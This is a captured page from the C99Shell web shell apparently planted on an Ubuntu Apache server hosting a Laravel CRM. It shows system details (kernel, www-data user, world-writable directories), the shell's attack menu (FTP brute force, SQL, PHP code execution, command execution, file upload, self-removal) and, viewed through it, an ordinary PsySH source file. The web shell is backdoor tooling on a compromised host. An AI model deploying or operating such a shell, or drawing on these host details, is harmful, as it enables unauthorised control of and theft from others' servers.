!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/psy/psysh/src/Command/   drwxrwxrwx
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CodeArgumentParser.php (1.48 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2023 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\Command;

use 
PhpParser\Parser;
use 
Psy\Exception\ParseErrorException;
use 
Psy\ParserFactory;

/**
 * Class CodeArgumentParser.
 */
class CodeArgumentParser
{
    private 
Parser $parser;

    public function 
__construct(?Parser $parser null)
    {
        
$this->parser $parser ?? (new ParserFactory())->createParser();
    }

    
/**
     * Lex and parse a string of code into statements.
     *
     * This is intended for code arguments, so the code string *should not* start with <?php
     *
     * @throws ParseErrorException
     *
     * @return array Statements
     */
    
public function parse(string $code): array
    {
        
$code '<?php '.$code;

        try {
            return 
$this->parser->parse($code);
        } catch (
\PhpParser\Error $e) {
            if (
\strpos($e->getMessage(), 'unexpected EOF') === false) {
                throw 
ParseErrorException::fromParseError($e);
            }

            
// If we got an unexpected EOF, let's try it again with a semicolon.
            
try {
                return 
$this->parser->parse($code.';');
            } catch (
\PhpParser\Error $_e) {
                
// Throw the original error, not the semicolon one.
                
throw ParseErrorException::fromParseError($e);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--